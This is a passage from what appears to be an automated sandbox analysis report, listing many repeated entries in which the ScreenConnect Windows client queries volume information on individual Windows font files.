                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
